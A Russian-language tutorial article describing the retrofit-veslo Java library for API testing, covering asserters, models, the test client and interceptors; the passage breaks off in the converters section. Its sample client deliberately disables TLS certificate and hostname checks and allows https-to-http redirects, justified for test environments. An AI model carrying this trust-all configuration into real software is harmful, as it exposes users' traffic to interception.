* [В заключение](#anchor_Finally)
Предпосылки
-----------
Изначально данную библиотеку я начинал писать для себя с целью аккумулирования своих наработок связанных с тестированием API. Но в середине пути понял, что данное решение может быть полезно не только для меня, что повлияло и на функциональность, и на архитектуру решения. Некоторые архитектурные решения могут показаться странными, но важно понимать, что это решение предназначено строго для тестирования и при разработке я руководствовался следующими принципами в ущерб некоторым архитектурным канонам:
* минимизация порога вхождения (целился в джунов).
* пользователь может расширить/изменить/поправить текущую реализацию;
* подключение/переход с минимальными телодвижениями;
* самый лучший тест — однострочный;
Данная статья получилась не маленькая, так как описывает почти все фичи библиотеки. Если вы больший сторонник чтения кода или вам интереснее посмотреть работоспособность решения, то милости прошу в [репу](https://github.com/touchbit/retrofit-veslo). Достаточно клонировать репозиторий и можно сразу [погонять](https://github.com/touchbit/retrofit-veslo#build-project-and-run-example-tests) тесты из модуля `example` (java 8+).
**Наглядный пример использования**
```
public static class ExampleTests {
public interface ExampleClient {
@POST("/api/example")
DualResponse get(@Query("id") String id);
}
private static final ExampleClient CLIENT = buildClient(ExampleClient.class);
// Пример теста с выносом проверок в отдельный метод
public void test1639328754880() {
final Pet expected = new Pet().name("example");
CLIENT.get("id\_1").assertSucResponse(Asserter::assertGetPet, expected);
}
// Пример теста с проверкой непосредственно в тесте
public void test1639328754881() {
final Pet expected = new Pet().name("example");
// Ответ содержит встроенные softly asserts
// для проверки статуса, заголовков и тела ответа.
CLIENT.get("id\_1").assertResponse(respAsserter -> respAsserter
.assertHttpStatusCodeIs(200)
.assertHttpStatusMessageIs("OK")
.assertHeaders(headersAsserter -> headersAsserter
.contentTypeIs("application/json; charset=utf-8")
.assertHeaderIsPresent("X-Request-Id")
.accessControlAllowOriginIs("\*"))
.assertSucBody((asserter, actual) -> {
asserter.softly(actual::assertConsistency);
asserter.softly(() -> is("Pet.name", actual.name, expected.name));
}));
}
}
```
**Про модуль 'example'**
В `example` модуле уже настроена интеграция с allure и логирование каждого автотеста в **отдельный лог файл**. Стоит учесть, что бОльшая часть тестов падают умышленно для наглядности. По сути, если вам нужно внедрить API тесты, то вы можете взять код из модуля `example`, поправить `pom.xml` (groupId, artifactId, комментарии), определить API клиент, модели по образу и подобию с существующими, и приступать писать тесты.
[К содержанию](#anchor_TOC)
Модули
------
* **all** — всё и сразу (если вас не смущают лишние зависимости в проекте);
* **jackson** — работа с [Jackson2](https://github.com/FasterXML/jackson) моделями;
* **gson** — работа с [Gson](https://github.com/google/gson) моделями;
* **allure** — встроенные шаги для вызовов API с вложениями запроса/ответа;
* **bean** — модели данных со встроенной JSR 303 валидацией (jakarta bean validator);
* **core** — ядро решения. Подтягивается с модулями `all`, `jackson`, `gson`, `allure`;
Пример:
```
org.touchbit.retrofit.veslo
all
${veslo.version}
```
[К содержанию](#anchor_TOC)
Запросы к серверу
-----------------
### `Object` в качестве тела запроса
Текущая реализация конвертеров позволяет использовать `Object` тип в `@Body` запроса. Механизм работает для любых наследников класса `ExtensionConverterFactory`. Для json моделей важно использовать аннотацию `@Headers` для автоматического выбора нужного конвертера на основе заголовка `Content-Type`. Механизм выбора нужного конвертера для тела запроса описан в разделе [конвертеры](#anchor_Converters).
```
public interface PetApi {
/** @param pet - {@link Pet} model (required) */
@POST("/v2/pet")
@Headers({"Content-Type: application/json"})
@Description("Add a new pet to the store")
AResponse addPet(@Body Object pet);
// ^^^^^^
}
```
`Object` позволяет отправлять в качестве тела запроса любую ересь.
```
public class AddPetTests extends BasePetTest {
@Test
public void test1640455066880() {
// body -> {"name":"fooBar"}
PET_API.addPet(new Pet().name("fooBar"));
// body (json string) -> "fooBar"
PET_API.addPet("fooBar");
// body (string) -> fooBar
PET_API.addPet(new RawBody("fooBar"));
// body -> true
PET_API.addPet(true);
// body -> <отсутствует>
PET_API.addPet(ExtensionConverter.NULL_BODY_VALUE);
// body -> <из файла>
final File file = new File("src/test/java/transport/data/PetPositive.json");
PET_API.addPet(file);
// body -> <из файла ресурсов проекта>
final ResourceFile resourceFile = new ResourceFile("PetPositive.json");
PET_API.addPet(resourceFile);
}
}
```
[К содержанию](#anchor_TOC)
### Формирование параметров запроса (ReflectQueryMap)
Вы можете создать свой собственный `@QueryMap` для запросов, унаследовавшись от ReflectQueryMap, который получает пары ключ-значение **из переменных класса**. Этот механизм является дополнением к стандартной работе с `Map`. Если посмотреть реализацию `ReflectQueryMap`, то может пойти кровь из глаз, но к сожалению разработчики retrofit не предоставили API для кастомизации обработки `@QueryMap`. Ниже представлен лаконичный пример `QueryMap` с fluent методами с использованием `lombok` библиотеки.
**LoginUserQueryMap**
```
@Getter
@Setter
@Accessors(chain = true, fluent = true)
public class LoginUserQueryMap extends ReflectQueryMap {
private Object username;
private Object password;
// пример заполнения экземпляра
static {
new LoginUserQueryMap().username("test").password("abc123");
}
}
```
**Использование в клиенте**
```
public interface UserApi {
@GET("/v2/user/login")
@Description("Logs user into the system")
AResponse login(@QueryMap() LoginUserQueryMap queryMap);
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// /v2/user/login?password=abc123&username=test
}
```
**Для примера сгенерированный QueryMap**
Пример ниже — результат генерации QueryMap по Swagger спецификации.
Писать подобные классы автоматизатору ручками немножко накладно.
А вариант наполнения `Map` в тесте я даже не рассматриваю.
```
public class GeneratedQueryMap extends HashMap {
private static final String USERNAME = "username";
private static final String PASSWORD = "password";
public GeneratedQueryMap(HttpUrl httpUrl) {
if (httpUrl == null) {
throw new NullPointerException("HttpUrl cannot be null");
}
username(httpUrl.queryParameter(USERNAME));
password(httpUrl.queryParameter(PASSWORD));
}
public GeneratedQueryMap username(Object username) {
put(USERNAME, EncodingUtils.encode(username));
return this;
}
public GeneratedQueryMap password(Object password) {
put(PASSWORD, EncodingUtils.encode(password));
return this;
}
}
```
[К содержанию](#anchor_TOC)
#### ReflectQueryMap — управление правилами обработки null значений
`ReflectQueryMap` позволяет задать правило обработки `null` значений.
**QueryParameterNullValueRule**
* `RULE_IGNORE` — Игнорировать параметры c значением `null` (по умолчанию)
* `RULE_NULL_MARKER` — заменить `null` на `null marker` -> `/api/call?foo=%00`
* `RULE_EMPTY_STRING` — заменить `null` на пустую строку -> `/api/call?foo=`
* `RULE_NULL_STRING` — заменить `null` на `null` строку -> `/api/call?foo=null`
```
// для всех переменных класса
@QueryMapParameterRules(nullRule = RULE_NULL_MARKER)
public class LoginUserQueryMap extends ReflectQueryMap {
// только для определенной переменной
@QueryMapParameter(nullRule = RULE_EMPTY_STRING)
private Object password;
}
```
[К содержанию](#anchor_TOC)
#### ReflectQueryMap — управление правилами наименования параметров
По умолчанию используется имя переменной класса, но вы можете задать правило конвертации имён параметров запроса для всего класса, а так же явно задать имя параметра.
**QueryParameterCaseRule**
* CAMEL\_CASE — camelCase (по умолчанию)
* KEBAB\_CASE — kebab-case
* SNAKE\_CASE — snake\_case
* DOT\_CASE — dot.case
* PASCAL\_CASE — PascalCase
```
// для всех переменных класса будет применен snake_case
@QueryMapParameterRules(caseRule = SNAKE_CASE)
public class LoginUserQueryMap extends ReflectQueryMap {
// имя параметра запроса для определенной переменной
@QueryMapParameter(name = "userName")
private Object username;
}
```
[К содержанию](#anchor_TOC)
Ответы от сервера
-----------------
Тип возвращаемого ответа может быть представлен в клиентском интерфейсе в трёх вариантах:
`DualResponse`, где
* `Pet` модель ответа в случае успеха;
* `Err` модель ответа случае ошибки;
`DualResponse` обрабатывается `UniversalCallAdapterFactory` (смотреть подробности в разделе "[Клиент](#anchor_ClientMethodDescription)").
```
public interface DualResponseClient {
@GET("/api/pet")
@EndpointInfo("Get pet by ID")
DualResponse getPet(String id);
}
```
`AResponse` То же, что и `DualResponse`, только с allure интеграцией.
`AResponse` обрабатывается `AllureCallAdapterFactory` (смотреть подробности в разделе "[Клиент](#anchor_ClientMethodDescription)").
```
public interface AResponseClient {
@GET("/api/pet")
@EndpointInfo("Get pet by ID")
AResponse getPet(String id);
}
```
Так же можно использовать модели и "простые" типы в качестве возвращаемого типа. В случае ошибок (status code 400+) конвертер попытается замапить тело ответа в возвращаемый тип и если не получилось, то вернется `null`.
Например, если у нас есть API вызов `/api/live` (health check) который возвращает:
* Строковый `OK/ERROR` -> `String live();`
* Логический `true/false` -> `Boolean live();`
* JSON объект -> `LiveProbeModel live()`
```
public interface Client {
@GET("/api/live")
@EndpointInfo("Service liveness probe")
LiveProbeModel live();
}
```
`DualResponse` и `AResponse` унаследованы от `BaseDualResponse` и включают следующие методы:
* `assertResponse()` — для проверки ответа от сервера;
* `assertSucResponse()` — для проверки успешного ответа от сервера;
* `assertErrResponse()` — для проверки ошибочного ответа от сервера;
* `getErrDTO()` — возвращает модель тела ответа в случае ошибки (nullable);
* `getSucDTO()` — возвращает модель тела ответа в случае успеха (nullable);
* `getEndpointInfo()` — возвращает информацию о вызове метода API;
* `getResponse()` — возвращает сырой ответ представленный классом `okhttp3.Response` с читаемым телом;
* `getCallAnnotations()` — возвращает список аннотаций вызванного клиентского API метода:
Помимо работы с двумя моделями данных в ответе, классы `DualResponse` и `AResponse` предоставляют возможность мягких проверок с автозакрытием (Closeable). Данные методы на вход принимают consumer-функции одним из обязательных аргументов которой является `IResponseAsserter`.
По умолчанию используется `ResponseAsserter` для классов `DualResponse` и `AResponse`.
Тривиальный пример теста для `assertResponse`
```
public class ExampleTests {
public void example() {
CLIENT.updatePet(new Pet().id(100L).name("example"))
.assertResponse(asserter -> asserter
.assertHttpStatusCodeIs(204)
.assertHttpStatusMessageIs("No Content"));
}
}
```
Исключение с накопленными ошибками.
```
veslo.BriefAssertionError: Collected the following errors:
HTTP status code
Expected: is 204
Actual: was 200
HTTP status message
Expected: is No Content
Actual: was ОК
```
Методы `assertSucResponse` и `assertErrResponse` однотипные и на вход принимают `IResponseAsserter` и ожидаемую модель для проверки. По большей части они предназначены для выноса проверок в отдельные методы. Пример из `example` модуля:
[](https://habrastorage.org/webt/xg/xh/6r/xgxh6rt8ahtwtcbaeiiktuojuwg.png)
[К содержанию](#anchor_TOC)
#### Softly Asserter
Механизм мягких проверок в ответе от сервера реализован при помощи интерфейса `SoftlyAsserter`, который в свою очередь реализует интерфейс `AutoCloseable`.
Это позволяет использовать `try-with-resources` оператор который гарантирует вызов метода `close()`. При вызове метода `close()` происходит "склеивание" накопленных исключений и бросок финального `AssertionError`.
```
public class Example {
@Test
public void test1643976548733() {
try (SoftlyAsserter asserter = SoftlyAsserter.get()) {
// сохраняем исключение
asserter.softly(() -> { assert 1 == 0; });
// сохраняем исключение
asserter.softly(() -> { assert 1 != 1; });
} // автоматически вызывается SoftlyAsserter.close()
}
}
```
Метод `softly()` на вход принимает функциональный интерфейс `ThrowableRunnable` который предполагает возможность возникновения любых ошибок.
Т.е. `softly(() -> { любой код запущенный тут })` и бросивший `Throwable` не прервет исполнение. `SoftlyAsserter` сохранит в себе брошенный `Throwable` до окончания выполнения `try-with-resources` блока или пока **явно** не будет вызван метод `.close()`.
Пример использования с `hamcrest`
```
public class Example {
@Test
public void test1643977714496() {
try (SoftlyAsserter asserter = SoftlyAsserter.get()) {
asserter.softly(() -> assertThat("Body", "act", is("exp")));
}
}
}
```
Так же `SoftlyAsserter` содержит одноименный статический метод с встроенным `try-with-resources` блоком.
```
public class Example {
@Test
public void test1643978036764() {
softlyAsserter(asserter -> asserter
.softly(() -> assertThat("Body", "act", is("exp")))
.softly(() -> assertThat("Body", 1, is(2))));
}
}
```
[К содержанию](#anchor_TOC)
#### Response Asserter
Любые наследники класса `BaseDualResponse` содержат в себе встроенные проверки реализующие интерфейс `IResponseAsserter`. По умолчанию используется `ResponseAsserter` который можно расширить дополнительными проверками или заменить собственной реализацией (смотреть ["кастомизация встроенных проверок"](#anchor_CustomResponseAssertion)).
**Обычные методы проверки**
* `assertHttpStatusCodeIs(int)` — точное совпадение `HTTP status code`
* `assertHttpStatusMessageIs(String)` — точное совпадение `HTTP status message`
* `assertErrBodyIsNull()` — запрос завершился с ошибкой и тело отсутствует
* `assertErrBodyNotNull()` — запрос завершился с ошибкой и тело присутствует
* `assertIsErrHttpStatusCode()` — статус код в промежутке 300...599
* `assertSucBodyIsNull()` — запрос завершился успешно и тело отсутствует
* `assertSucBodyNotNull()` — запрос завершился успешно и тело присутствует
* `assertIsSucHttpStatusCode()` — статус код в промежутке 200...299
**Функциональные методы проверки**
* `assertSucBody()` — проверяем модель (объект) успешного ответа;
* `assertErrBody()` — проверяем модель (объект) ответа в случае ошибки;
Ниже представлены методы, описание и примеры использования для `assertSucBody()`.
В примерах функция одна и та же и представлена в двух вариантах:
* `Lambda:` лямбда выражение для наглядности сигнатуры метода;
* `Reference:` сокращенное представление лямбда выражения;
Методов добавил "на все случаи жизни". В примерах я пометил звездочкой методы, которые рекомендую к использованию. Так же все примеры использования каждого конкретного метода указаны в javadoc класса `ResponseAsserter` и в классе `ExampleApiClientAssertions` в ядре (хоть это и не канонично).
**`assertHeaders(Consumer)`**
Смотреть раздел [Header Asserter](#anchor_HeaderAsserter).
**`assertSucBody(Consumer)`**
Метод предоставляет только модель и ее методы
Пример вызова метода модели без параметров
Lambda: `.assertSucBody(pet -> pet.assertConsistency())`
Reference: `.assertSucBody(Pet::assertConsistency)`
Пример для встроенного в модель метода сверки
Lambda: `.assertSucBody(pet -> pet.match(expected))`\*
Reference: отсутствует
**`assertSucBody(BiConsumer, SUC\_DTO)`**
Предоставляет только actual и expected модели для метода сверки.
Пример для статического метода сверки моделей
Lambda: `.assertSucBody((act, exp) -> Asserts.assertPet(act, exp), expected)`
Reference: `.assertSucBody(Asserts::assertPet, expected)`
Пример для встроенного в модель метода сверки моделей
Lambda: `.assertSucBody((pet, exp) -> pet.match(exp), expected)`
Reference: `.assertSucBody(Pet::match, expected)`\*
**`assertSucBody(BiConsumer)`**
Предоставляет ассертер и actual модель для проверки модели.
Пример для статического метода проверки модели
Lambda: `.assertSucBody((sa, act) -> Asserts.assertPet(sa, act, expected))`
Reference: отсутствует
**`assertSucBody(TripleConsumer, SUC\_DTO)`**
Предоставляет ассертер, actual и expected модель для проверки.
Lambda: `.assertSucBody((sa, act, exp) -> Asserts.assertPet(sa, act, exp), expected)`
Reference: `.assertSucBody(Asserts::assertPet, expected)`\*
[К содержанию](#anchor_TOC)
#### Header Asserter
Содержит общие методы проверки заголовков ответа:
* `assertHeaderNotPresent(String headerName)`
* `assertHeaderIsPresent(String headerName)`
* `assertHeaderIs(String headerName, String expected)`
* `assertHeaderContains(String headerName, String expected)`
А так же аналогичные методы проверки для заголовков:
* Access-Control-Allow-Origin
* Connection
* Content-Type
* Etag
* Keep-Alive
* Server
* Set-Cookie
* Content-Encoding
* Transfer-Encoding
* Vary
Пример использования:
```
public static class ExampleTests {
// явно в тесте
public void test1639328754881() {
CLIENT.get().assertResponse(respAsserter -> respAsserter
.assertHeaders(headersAsserter -> headersAsserter
.contentTypeIs("application/json; charset=utf-8")
.assertHeaderIsPresent("X-Request-Id")
.accessControlAllowOriginIs("*")));
}
// или вынести проверку заголовков в отдельный метод
public void example1639330184783() {
CLIENT.get().assertResponse(respAsserter -> respAsserter
.assertHeaders(Asserts::assertHeaders));
}
}
```
[К содержанию](#anchor_TOC)
### Body Asserter
Я рекомендую выносить проверки в модель это и удобно и логично. Мыслю так: если у нас в модели есть метод `equals(Object)` для проверки равенства, то почему бы не иметь метод `match(Model)` для проверки соответствия? По-моему, звучит здраво, да и выглядит неплохо. Особенно, если через интерфейс сделать.
```
public class Category implements AssertableModel {
private Long id = null;
private String name = null;
@Override
public Category match(Category expected) {
try (final SoftlyAsserter asserter = SoftlyAsserter.get()) {
asserter.softly(() -> assertThat(this.id()).as("category.id").isNotNull().isPositive());
asserter.softly(() -> assertThat(this.name()).as("category.name").isEqualTo(expected.name()));
}
return this;
}
}
public interface AssertableModel {
DTO match(DTO expected);
}
```
В результате мы можем проверять тело ответа вот так:
* `.assertSucBody(actual -> actual.match(expected))`
* `.assertSucBody(Category::match, expected)`
Если вам не хочется заморачиваться с [кастомизацией встроенных проверок](#anchor_CustomResponseAssertion), то в принципе можно вынести в модель и проверку всего ответа, если у вас обычный CRUD (отличный повод плюнуть автору в лицо за такую рекомендацию).
Проверка будет выглядеть вот так:
`.assertSucResponse(Category::assertPOST, expected);`
```
public class Category implements AssertableModel {
private Long id = null;
private String name = null;
@Override
public Category match(Category expected) {
// collapsed
}
public static void assertGET(ResponseAsserter asserter,
Category expected) {
asserter.assertHttpStatusCodeIs(200).assertSucBody(actual -> actual.match(expected));
}
public static void assertPOST(ResponseAsserter asserter,
Category expected) {
asserter.assertHttpStatusCodeIs(200).assertSucBody(actual -> actual.match(expected));
}
public static void assertPATCH(ResponseAsserter asserter) {
asserter.assertHttpStatusCodeIs(204).assertSucBodyIsNull().assertErrBodyIsNull();
}
}
```
[К содержанию](#anchor_TOC)
### Кастомизация встроенных проверок
`DualResponse` содержит встроенные проверки, которые можно расширить или переопределить. Для этого вам нужно создать свой `CustomResponse`, который должен быть унаследован от `BaseDualResponse` и реализовать в нем методы:
* `public IResponseAsserter getResponseAsserter();` где `IResponseAsserter` реализация ассертера для всего ответа от сервера. Лучше унаследоваться от `ResponseAsserter`.
* `public IHeadersAsserter getHeadersAsserter();` где `IHeadersAsserter` реализация ассертера для заголовков. Лучше унаследоваться от `HeadersAsserter`.
**Для наглядности**
[](https://habrastorage.org/webt/8v/dy/-k/8vdy-kp5hkjo3rcohz13-0ppegu.png)
Далее, при создании [клиента](#anchor_Client) retrofit, вам необходимо явно указать, какой ответ следует использовать при создании экземпляра `IDualResponse`.
Метод `.addCallAdapterFactory(CallAdapter.Factory)`:
* `new UniversalCallAdapterFactory(CustomResponse::new)` default
* `new AllureCallAdapterFactory(CustomResponse::new)` allure
Данный подход позволит вам вынести пул однотипных проверочных методов в отдельную реализацию `IResponseAsserter`.
Например `PetStoreAsserter`:
```
public static class ExampleTests {
public void test1639328754881() {
Pet expected = Pet.generate();
CLIENT.addPet(expected);
CLIENT.getPet(expected.getId())
// по аналогии с assertResponse(Consumer)
.assertResponse(asserter -> asserter.assertGetPet(expected))
// или c assertSucResponse(BiConsumer, SUC_DTO)
.assertResponse(PetStoreAsserter::assertGetPet, expected);
}
}
```
Если не хочется заморачиваться с выносом проверок в ассертеры, то можно вынести просто в `CustomResponse`.
В таком случае у вас есть выбор, или пользоваться внутренним `ResponseAsserter`, или использовать свое собственное решение мягких проверок (если они вам вообще нужны).
```
public static class ExampleTests {
public void test1639328754881() {
Pet expected = Pet.generate();
CLIENT.addPet(expected);
CLIENT.getPet(expected.getId()).assertGetPet(expected);
}
}
```
[К содержанию](#anchor_TOC)
Модели
------
RawBody модель
--------------
`RawBody` может применяться для запросов и ответов. Хранит тело в байтовом представлении.
Позволяет отправлять строку "как есть" в обход MIME конвертеров. В большей степени подходит для запросов, нарушающих контракт. Например, битый JSON.
Не чувствителен к ответам без тела (HTTP status code 204/205). Т.е. при использовании в ответах от сервера, не может быть `null` (формируется всегда).
Содержит встроенные проверки:
* `assertBodyIsNotNull()`
* `assertBodyIsNull()`
* `assertBodyIsNotEmpty()`
* `assertBodyIsEmpty()`
* `assertStringBodyContains(String... expectedStrings)`
* `assertStringBodyContainsIgnoreCase(String... expectedStrings)`
* `assertStringBodyIs(String expected)`
* `assertStringBodyIsIgnoreCase(String expected)`
[К содержанию](#anchor_TOC)
ResourceFile модель
-------------------
Предоставляет возможность чтения файлов из ресурсов проекта.
Добавлено для более удобного использования в запросах API для тех, кому приходится мучиться с файлами.
Имеет встроенные проверки на существование файла и его читабельность.
В скором времени появится [небольшая доработка](https://github.com/touchbit/retrofit-veslo/issues/4) с возможностью модификации текстовых файлов через fluent API.
```
public class AddPetTests extends BasePetTest {
@Test
public void test1640455066880() {
final ResourceFile resourceFile = new ResourceFile("PetPositive.json");
PET_API.addPet(resourceFile);
}
}
```
[К содержанию](#anchor_TOC)
Jackson2 модели
---------------
На момент написания статьи речь идет о `Jackson2` версии `2.13.1`.
В отличие от Gson библиотека `Jackson2` позволяет обрабатывать случай, когда ответ от сервера содержит лишние поля, не выдавая ошибку при конвертации.
Именно по этой причине я **настоятельно** рекомендую использовать `Jackson2` для ваших json/yaml моделей.
Обработка лишних полей уже реализована в классе `JacksonModelAdditionalProperties` и вам достаточно унаследовать модель от этого класса.
Если контракт изменился и пришел ответ с новыми полями, то мы можем это проверить при помощи базового метода `assertNoAdditionalProperties()` и получить **вменяемую** ошибку.
```
The presence of extra fields in the model: Pet
Expected: no extra fields
Actual: {nickname=Puffy}
```
Рекомендуется вынести проверки контракта в отдельные тесты.
```
public class AddPetTests {
@Test
@DisplayName("Pet model complies with API contract")
public void test1640455066880() {
PET_API.addPet(generatePet()).assertResponse(response -> response
.assertHttpStatusCodeIs(200)
.assertSucBody(Pet::assertNoAdditionalProperties));
}
}
```
Так же `additionalProperties` позволяют отправлять "битые" данные. Например, в модели `Pet` у нас есть поле `id` с типом `Long` и мы ходим проверить, как себя поведет сервер, если отправить число большее чем `Long.MAX_VALUE` или строку вместо `Long`.
```
public class AddPetTests {
@Test
public void test1640455066881() {
Pet pet = generatePet();
// id > Long.MAX_VALUE
pet.id(null).additionalProperty("id", new BigInteger(Long.MAX_VALUE + "000"));
// id != Long
pet.id(null).additionalProperty("id", "fooBar");
PET_API.addPet(pet);
}
}
```
Кто-то скажет, что преимущество Gson в том, что не надо использовать аннотации для каждого поля. Однако `Jackson2` такую возможность тоже предоставляет, но только не по умолчанию. Чтоб не вешать на каждое поле аннотацию `@JsonProperty` достаточно навесить на класс аннотацию `@JsonAutoDetect(creatorVisibility = ANY, fieldVisibility = ANY)`. Так же мы можем управлять правилами наименования полей при помощи аннотации `@JsonNaming(PropertyNamingStrategies.LowerCamelCaseStrategy.class)`.
Ниже пример модели с использованием lombok библиотеки (рекомендую такой подход).
```
// копипастный блок с аннотациями
@Getter
@Setter
@ToString
@EqualsAndHashCode(callSuper = true)
@Accessors(chain = true, fluent = true)
@JsonNaming(PropertyNamingStrategies.LowerCamelCaseStrategy.class)
@JsonAutoDetect(creatorVisibility = ANY, fieldVisibility = ANY)
public class Tag extends JacksonModelAdditionalProperties {
private Long id = null;
private String name = null;
}
```
[К содержанию](#anchor_TOC)
Jakarta Bean Validation
-----------------------
Наследование моделей от интерфейса `BeanValidationModel` позволяет проверять данные на соответствие контракту с помощью аннотаций (спецификации) JSR 303 (метод `assertConsistency()`).
Рекомендуется вынести проверки контракта в отдельный тест.
```
public class AddPetTests {
@Test
@DisplayName("Pet model complies with API contract")
public void test1640455066880() {
PET_API.addPet(generatePet()).assertResponse(response -> response
.assertHttpStatusCodeIs(200)
.assertSucBody(Pet::assertConsistency));
}
}
```
Пример модели c JSR 303 аннотациями и исключением
[](https://habrastorage.org/webt/jo/xd/qe/joxdqemtiw9qg2ubbgivup2nida.png)
[К содержанию](#anchor_TOC)
Клиент
------
Для удобного создания тестового клиента добавлены вспомогательные классы:
* `TestClient` — из модуля `core`. Ничего не знает про jackson, gson и allure.
* `JacksonTestClient` — из модуля `jackson`. Строит клиент с jackson конвертером. Ничего не знает про allure.
* `GsonTestClient` — из модуля `gson`. Строит клиент с gson конвертером. Ничего не знает про allure.
* `Veslo4Test` — из модуля `all`. Содержит методы построения клиентов для различных конвертеров.
Тестовый клиент по умолчанию
* следует по редиректам, в том числе https -> http
* игнорирует ошибки сертификата
+ несоответствия домена
+ самоподписной сертификат
+ протухший сертификат
* `CompositeInterceptor` с/без allure интеграцией (`Veslo4Test`)
**Более подробное описание тестового клиента**
Ниже представлен пример метода для создания API клиента (копипастнуть и удалить ненужное).
```
public class BaseTest {
protected static final PetApi PET_API = buildClient(PetApi.class);
private static C buildClient(final Class cliClass) {
return new Retrofit.Builder()
.client(new OkHttpClient.Builder()
.followRedirects(true)
.followSslRedirects(true)
.hostnameVerifier(TRUST\_ALL\_HOSTNAME)
.sslSocketFactory(TRUST\_ALL\_SSL\_SOCKET\_FACTORY, TRUST\_ALL\_CERTS\_MANAGER)
.addNetworkInterceptor(new CompositeInterceptor())
.build())
.baseUrl("https://petstore.swagger.io/")
.addCallAdapterFactory(new AllureCallAdapterFactory())
// или
.addCallAdapterFactory(new UniversalCallAdapterFactory())
.addConverterFactory(new JacksonConverterFactory())
// или
.addConverterFactory(new GsonConverterFactory())
.build()
.create(cliClass);
}
}
```
Пояснение методов:
* `#followRedirects()` — автоматический переход по редирект статусам (301, 302...);
* `#followSslRedirects()` — автоматический переход httpS <-> http по редирект статусам;
* `#hostnameVerifier()` — если вызываемый домен не соответствует домену в сертификате (для тестового окружения);
* `#sslSocketFactory()` — вместо добавления самоподписанных сертификатов в keystore (для тестового окружения);
* `#addNetworkInterceptor()` — добавление сетевого перехватчика (важно использовать именно этот метод, иначе не будут перехватываться редиректы). `CompositeInterceptor` описан [тут](#anchor_CompositeInterceptor);
* `#addConverterFactory()` — добавить фабрику конвертеров для сериализации/десериализации объектов;
+ `JacksonConverterFactory` для Jackson моделей + конвертеры по умолчанию из `ExtensionConverterFactory`;
+ `GsonConverterFactory` для Gson моделей + конвертеры по умолчанию из `ExtensionConverterFactory`;
+ `ExtensionConverterFactory` для примитивных/ссылочных "простых" типов (смотреть раздел [конвертеры](#anchor_Converters));
* `#addCallAdapterFactory()` — поддержка специфического возвращаемого типа в методе API клиента, отличных от `retrofit2.Call`;
+ `UniversalCallAdapterFactory` — фабрика для `DualResponse`;
+ `AllureCallAdapterFactory` — фабрика для `AResponse` с поддержкой allure шагов;
Если вы хотите использовать allure, то нужно добавить в зависимости allure модуль. В таком случае возвращаемый класс будет `veslo.AResponse`. Так же нужно реализовать и добавить в okhttp клиент (`#addNetworkInterceptor()`) свой собственный `CompositeInterceptor` и зарегистрировать `AllureAction.INSTANCE` как в [примере](#anchor_CompositeInterceptorExample).
Настоятельно рекомендуется использовать аннотацию `io.qameta.allure.Description`.
```
public interface AllureCallAdapterFactoryClient {
@GET("/api/example")
@Description("Get pet")
AResponse get();
}
```
Если вам allure не нужен, то возвращаемый класс будет `veslo.client.response.DualResponse`. Так же настоятельно рекомендуется использовать аннотацию `veslo.client.EndpointInfo`.
```
public interface UniversalCallAdapterFactoryClient {
@GET("/api/example")
@EndpointInfo("Get pet")
DualResponse get();
}
```
[К содержанию](#anchor_TOC)
Сетевой перехватчик (CompositeInterceptor)
------------------------------------------
Главной особенностью `CompositeInterceptor` является возможность управления последовательностью вызовов обработчиков (далее `Action`) для запросов и ответов, что недоступно в базовой реализации `retrofit`. Другими словами, вы сами выбираете порядок применяемых `Action` отдельно для Запроса и Ответа.
`Action` может реализовывать три интерфейса:
* `RequestInterceptAction` для обработки `okhttp3.Chain` и `okhttp3.Request`
* `ResponseInterceptAction` для обработки `okhttp3.Response` и `java.lang.Throwable` (сетевые ошибки)
* `InterceptAction` включает в себя `RequestInterceptAction` и `ResponseInterceptAction`
```
public class PetStoreInterceptor extends CompositeInterceptor {
public PetStoreInterceptor() {
super(LoggerFactory.getLogger(PetStoreInterceptor.class));
// строгий порядок обработки запроса
withRequestInterceptActionsChain(
AuthAction.INSTANCE,
CookieAction.INSTANCE,
LoggingAction.INSTANCE,
AllureAction.INSTANCE);
// строгий порядок обработки ответа
withResponseInterceptActionsChain(
LoggingAction.INSTANCE,
AllureAction.INSTANCE,
CookieAction.INSTANCE);
}
}
```
Существующие actions:
`CookieAction` — управление cookie-заголовками в потоке;
`LoggingAction` — логирует запрос/ответ или транспортную ошибку двумя `LogEvent`;
**Пример из лог файла**
```
03:40:37.675 INFO - API call: Logs user into the system
03:40:37.680 INFO - REQUEST:
GET https://petstore.swagger.io/v2/user/login?password=abc123&username=test
Headers:
Host: petstore.swagger.io
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/3.14.9
Body: (absent)
03:40:37.831 INFO - RESPONSE:
200 https://petstore.swagger.io/v2/user/login?password=abc123&username=test
Headers:
date: Tue, 01 Feb 2022 00:40:37 GMT
content-type: application/json
access-control-allow-origin: *
access-control-allow-methods: GET, POST, DELETE, PUT
access-control-allow-headers: Content-Type, api_key, Authorization
x-expires-after: Tue Feb 01 01:40:37 UTC 2022
x-rate-limit: 5000
server: Jetty(9.2.9.v20150224)
Content-Length: -1
Body: (78-byte body)
{"code":200,"type":"unknown","message":"logged in user session:1643676037840"}
```
`AllureAction` — добавляет в шаг вложения запроса и ответа;
**Пример allure отчета**
[](https://habrastorage.org/webt/qg/ub/6t/qgub6tsi7xxvdowijfe20u82ioc.png)
[К содержанию](#anchor_TOC)
Конвертеры
----------
В классе `ExtensionConverterFactory` и его наследниках `JacksonConverterFactory` и `GsonConverterFactory` реализован механизм выбора нужного конвертера для преобразования запросов и ответов.
Конвертер выбирается в следующей последовательности:
* по аннотации вызываемого клиентского метода: `@Converters`, `@RequestConverter`, `@ResponseConverter`;
* по "сырому" типу тела (`RawBody`, `File`, `ResourceFile`, `Byte[]`, `byte[]`);
* по java пакету (на момент написания статьи это строгое соответствие, но планируется поддержка wildcard);
* по `Content-Type` заголовку (MIME);
* по примитивному/ссылочному java типу (`Byte`, `Character`, `Double`, `Float`, `Integer`, `Long`, `Short`, `String`);
Примеры для различных java типов
* `AResponse addPet(@Body String body);`
* `AResponse addPet(@Body RawBody body);`
* `AResponse addPet(@Body byte[] body);`
* `AResponse addPet(@Body File body);`
* `AResponse addPet(@Body ResourceFile body);` (только для запросов)
По аналогии с существующими фабриками `JacksonConverterFactory` и `GsonConverterFactory` Вы можете реализовать свою универсальную фабрику и зарегистрировать или перерегистрировать конвертеры под ваши нужды.
```
public class CustomConverterFactory extends ExtensionConverterFactory {
public CustomConverterFactory() {
super(LoggerFactory.getLogger(CustomConverterFactory.class));
final JacksonConverter jacksonConverter = new JacksonConverter<>();
// использовать JacksonConverter для application/json, text/json
